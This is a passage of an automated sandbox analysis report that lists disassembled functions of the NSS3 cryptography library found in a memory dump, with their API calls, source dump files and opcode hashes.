Part of subcall function 6C618F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C60DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C618FD1
Part of subcall function 6C618F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C60DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C618FFA
Part of subcall function 6C618F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C60DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C619013
Part of subcall function 6C618F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C60DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C619042
Part of subcall function 6C618F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C60DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C61905A
Part of subcall function 6C618F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C60DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C619073
Part of subcall function 6C618F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C60DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C619111

PR_GetCurrentThread.NSS3 ref: 6C61C8B2

Part of subcall function 6C6B9BF0: TlsGetValue.KERNEL32(?,?,?,6C700A75), ref: 6C6B9C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C61C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C61C8EB

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 2ef939a9e12189a620ff28e98dabd06334795956ec57f3e41696156ee137904e
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: 8601E566E192107BD74029BD6CC0AFF3E699F4676EF040135FD05A6F11F361881993AE

Function 6C67EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C667FFA,?,6C669767,?,8B7874C0,0000A48E), ref: 6C67EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C667FFA,?,6C669767,?,8B7874C0,0000A48E), ref: 6C67EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C667FFA,?,6C669767,?,8B7874C0,0000A48E), ref: 6C67EE14

Part of subcall function 6C650BE0: malloc.MOZGLUE(6C648D2D,?,00000000,?), ref: 6C650BF8
Part of subcall function 6C650BE0: TlsGetValue.KERNEL32(6C648D2D,?,00000000,?), ref: 6C650C15

memcpy.VCRUNTIME140(?,?,6C669767,00000000,00000000,6C667FFA,?,6C669767,?,8B7874C0,0000A48E), ref: 6C67EE33

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 0666321f3b206263af61db485bc44a9463661b0a9ba60412a72846828492b4d9
Instruction ID: a81714c223a2b176cb6952af72f8b51398652327fe5ac7db0f6c5ac88161da2f
Opcode Fuzzy Hash: 0666321f3b206263af61db485bc44a9463661b0a9ba60412a72846828492b4d9
Instruction Fuzzy Hash: 0D11A7B1A00706AFD7209E65DC84B86B3A8EB0035DF204D31E91982A40E331E4698BF9

Function 6C618DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C618DE7
EnterCriticalSection.KERNEL32 ref: 6C618DFC
PR_Unlock.NSS3 ref: 6C618E2D
PR_SetError.NSS3 ref: 6C618E49

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 6358148f307efd9c7c4f717df5f72f76029c918f72d180c556757ed61eab2091
Instruction ID: 570b264ed3a83794f68f8e497c45822abc46ecfd9443ac4ea582806280badc9d
Opcode Fuzzy Hash: 6358148f307efd9c7c4f717df5f72f76029c918f72d180c556757ed61eab2091
Instruction Fuzzy Hash: 37118F75A096019BD700BF78C44819ABBF4FF49315F41496ADC88D7B00EB30E855CBC6

Function 6C69AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C685F17,?,?,?,?,?,?,?,?,6C68AAD4), ref: 6C69AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C685F17,?,?,?,?,?,?,?,?,6C68AAD4), ref: 6C69ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C68AAD4), ref: 6C69ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C68AAD4), ref: 6C69ACDB

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 053f2bdb87891bd88ca170d0a960880e67dcc776a3fda3513e5cbbd639185f39
Instruction ID: e3120e3ef2c31dec3ff50fd9101043efcd17665c2f0823fac62821920a8cb570
Opcode Fuzzy Hash: 053f2bdb87891bd88ca170d0a960880e67dcc776a3fda3513e5cbbd639185f39
Instruction Fuzzy Hash: B2014CB1B01B029BEB50EF29D908753B7E8BF0575AB104839D85AD7A01E731E458CB95

Function 6C601DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C601DFB

Part of subcall function 6C5F95B0: TlsGetValue.KERNEL32(00000000,?,6C6100D2,00000000), ref: 6C5F95D2
Part of subcall function 6C5F95B0: EnterCriticalSection.KERNEL32(?,?,?,6C6100D2,00000000), ref: 6C5F95E7
Part of subcall function 6C5F95B0: PR_Unlock.NSS3(?,?,?,?,6C6100D2,00000000), ref: 6C5F9605

PR_EnterMonitor.NSS3 ref: 6C601E09

Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B90AB
Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B90C9
Part of subcall function 6C6B9090: EnterCriticalSection.KERNEL32 ref: 6C6B90E5
Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B9116
Part of subcall function 6C6B9090: LeaveCriticalSection.KERNEL32 ref: 6C6B913F

Part of subcall function 6C5FE190: PR_EnterMonitor.NSS3(?,?,6C5FE175), ref: 6C5FE19C
Part of subcall function 6C5FE190: PR_EnterMonitor.NSS3(6C5FE175), ref: 6C5FE1AA
Part of subcall function 6C5FE190: PR_ExitMonitor.NSS3 ref: 6C5FE208
Part of subcall function 6C5FE190: PL_HashTableRemove.NSS3(?), ref: 6C5FE219
Part of subcall function 6C5FE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5FE231
Part of subcall function 6C5FE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5FE249
Part of subcall function 6C5FE190: PR_ExitMonitor.NSS3 ref: 6C5FE257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C601E37
PR_ExitMonitor.NSS3 ref: 6C601E4A

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: ed59afd55db5eb4aadd514a6f2c20f9094373d65a29a905e7d6d10033d1a1875
Instruction ID: e466195e9839fedb45af9d1aa6731e0d78a447bb4de14a7ae8c7c4b12dbdb818
Opcode Fuzzy Hash: ed59afd55db5eb4aadd514a6f2c20f9094373d65a29a905e7d6d10033d1a1875
Instruction Fuzzy Hash: 7701D671B0015197EB045F29ED04F4E77B4AB52B5CF600035E919B7B91EB31E826CBDA

Function 6C601D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C601D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C601D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C601D9C
free.MOZGLUE(00000000), ref: 6C601DB8

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: fd13cd3a5ce86ff7c7a56fc4981ba81fb2ad1fc4099a6fc5bc10e7cbf8bc260a
Instruction ID: 42c01dbdd4e737d2880f2f497629207c37c8f8b64e1670922b0ac08c7fd1c169
Opcode Fuzzy Hash: fd13cd3a5ce86ff7c7a56fc4981ba81fb2ad1fc4099a6fc5bc10e7cbf8bc260a
Instruction Fuzzy Hash: C0F0F9B270121057FF101E195D41B8737D8AB8279CF200235ED1D67B80D660E404C6ED

Function 6C6488E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6C6508AA,?), ref: 6C6488F6
EnterCriticalSection.KERNEL32(?,?,?,?,6C6508AA,?), ref: 6C64890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6C6508AA,?), ref: 6C648936
PR_Unlock.NSS3(?,?,?,?,?,6C6508AA,?), ref: 6C648940

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: 4a2d574ba8c0c30a391a4ce746096037de6e123fc89c05114030028f49bdf455
Instruction ID: 982c48b10358f25eda032add36b07d9215577e7e9a0723431c0f393ea22ce277
Opcode Fuzzy Hash: 4a2d574ba8c0c30a391a4ce746096037de6e123fc89c05114030028f49bdf455
Instruction Fuzzy Hash: B80161B5A04A059BDB00AF3DC484655B7F4FF4A399F058A6AD888C7B10E730E894CBC6

Function 6C680840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C752F88,6C680660,00000020,00000000,?,?,6C682C3D,?,00000000,00000000,?,6C682A28,00000060,00000001), ref: 6C680860

Part of subcall function 6C574C70: TlsGetValue.KERNEL32(?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574C97
Part of subcall function 6C574C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574CB0
Part of subcall function 6C574C70: PR_Unlock.NSS3(?,?,?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6C682C3D,?,00000000,00000000,?,6C682A28,00000060,00000001), ref: 6C680874
EnterCriticalSection.KERNEL32(00000001), ref: 6C680884
PR_Unlock.NSS3 ref: 6C6808A3

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: 30f8c9073cb0472e3a5ca597d9bcbf052f46267c176eb32ee4758c169b10c2f7
Instruction ID: 3cd97ae9855ea4630518eed7b3d8d797f74ec603bf9b42cd0112bea489b94b3b
Opcode Fuzzy Hash: 30f8c9073cb0472e3a5ca597d9bcbf052f46267c176eb32ee4758c169b10c2f7
Instruction Fuzzy Hash: 80014EB5E02244ABFF012F25FC449557738DB5731DF884975ED0862A42EF2294D48BF5

Function 6C64FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C5F9003,?), ref: 6C64FD91

Part of subcall function 6C650BE0: malloc.MOZGLUE(6C648D2D,?,00000000,?), ref: 6C650BF8
Part of subcall function 6C650BE0: TlsGetValue.KERNEL32(6C648D2D,?,00000000,?), ref: 6C650C15

PORT_Alloc_Util.NSS3(A4686C65,?), ref: 6C64FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C65,?,?), ref: 6C64FDC4
free.MOZGLUE(00000000,?,?), ref: 6C64FDD1

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: a536a04c1c55ee818a0bc7bde6c918d4ab2473daa9380a19f41528893297b447
Instruction ID: e4224044ff0bf4422e7009f36c33ff537778568049ac2edeaaf1c6642c7eeea1
Opcode Fuzzy Hash: a536a04c1c55ee818a0bc7bde6c918d4ab2473daa9380a19f41528893297b447
Instruction Fuzzy Hash: 9FF0FCF2A012025BEB005F55DC8091777D8EF8539DB14C075ED098BB01E721D814C7EB

Function 6C70CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C70CC61
free.MOZGLUE ref: 6C70CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C70CC80
free.MOZGLUE(?), ref: 6C70CC87

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: ea673f42865c05045c84a8b1a3e93493ae424eb19bd865bc529f28da9d15d9c5
Instruction ID: 6861118d5dd459d75418cf02d19226cb31a81126a71abc22a5cb1369427192d9
Opcode Fuzzy Hash: ea673f42865c05045c84a8b1a3e93493ae424eb19bd865bc529f28da9d15d9c5
Instruction Fuzzy Hash: 47E030767006089BCA10EFA8DC4488677ACEE4A2753154566E691C3700D231F905CBA1

Function 6C5E9DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C5E9E1F

Part of subcall function 6C5A13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C572352,?,00000000,?,?), ref: 6C5A1413
Part of subcall function 6C5A13C0: memcpy.VCRUNTIME140(00000000,R#Wl,00000002,?,?,?,?,6C572352,?,00000000,?,?), ref: 6C5A14C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6C5EA006
ESCAPE expression must be a single character, xrefs: 6C5E9F78

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 1aaa6f1b207ea43d5bd40088c74e243bfbe19f55715cc1c3e82fdf31f48ec7a6
Instruction ID: 8cfd6e3eec7113fd5fd699db480106944bf2e023fb58899448cbac1869644c72
Opcode Fuzzy Hash: 1aaa6f1b207ea43d5bd40088c74e243bfbe19f55715cc1c3e82fdf31f48ec7a6
Instruction Fuzzy Hash: 0B810C71A043558BDB01CF39C8803E9B7F2AF89318F288659D8B59BB81D735DC86C791

Function 6C644D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C644D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C644DE6

Strings

%d.%d, xrefs: 6C644DDE

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: f93f1acbd718e3ec2dcf9e0eab0a0cbd8c8f22f6f1d4cc6283c23e13333a7388
Instruction ID: 8d8a9d63d13f28992f6b64bdf47d579851389769875b2526f339a976047ee4d6
Opcode Fuzzy Hash: f93f1acbd718e3ec2dcf9e0eab0a0cbd8c8f22f6f1d4cc6283c23e13333a7388
Instruction Fuzzy Hash: F531FEB2D042186BEB109F659C02BFF77ACDF45308F058429ED1597781EB749905CBE9

Function 6C664CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8fl,00000000,00000000,?,?,6C663827,?,00000000), ref: 6C664D0A

Part of subcall function 6C650840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6508B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C664D22

Part of subcall function 6C64FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C5F1A3E,00000048,00000054), ref: 6C64FD56

Strings

'8fl, xrefs: 6C664D07

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8fl
API String ID: 1521942269-1098522081
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 51b650a62c54891312981b47f1df39407bd1bd67b484c3650966d891f9fdd22b
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 73F06832A0112467DB108E6BDC50B5336DC9B427FDF140271DD18CBB81E6B1CC008697

Function 6C68AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C68AF78

Part of subcall function 6C5EACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5EACE2
Part of subcall function 6C5EACC0: malloc.MOZGLUE(00000001), ref: 6C5EACEC
Part of subcall function 6C5EACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5EAD02
Part of subcall function 6C5EACC0: TlsGetValue.KERNEL32 ref: 6C5EAD3C
Part of subcall function 6C5EACC0: calloc.MOZGLUE(00000001,?), ref: 6C5EAD8C
Part of subcall function 6C5EACC0: PR_Unlock.NSS3 ref: 6C5EADC0
Part of subcall function 6C5EACC0: PR_Unlock.NSS3 ref: 6C5EAE8C
Part of subcall function 6C5EACC0: free.MOZGLUE(?), ref: 6C5EAEAB

memcpy.VCRUNTIME140(6C753084,6C7502AC,00000090), ref: 6C68AF94

Strings

SSL, xrefs: 6C68AF73

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: f49ccbc32fb62a54ca3dbad593faaa748be714791de0eeace66b57083c3c8268
Instruction ID: 971a565b8b55bcc75bf6ef7ed2e9c5f33161b04b7183918df130336dd6ecdb57
Opcode Fuzzy Hash: f49ccbc32fb62a54ca3dbad593faaa748be714791de0eeace66b57083c3c8268
Instruction Fuzzy Hash: DC217CB2306B48EEDA40DF11A947317BAB2F7866187905228C11E4BB3ADF3144589FF9

Function 6C5FC810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36timeCOMMON

Download Yara Rule

APIs

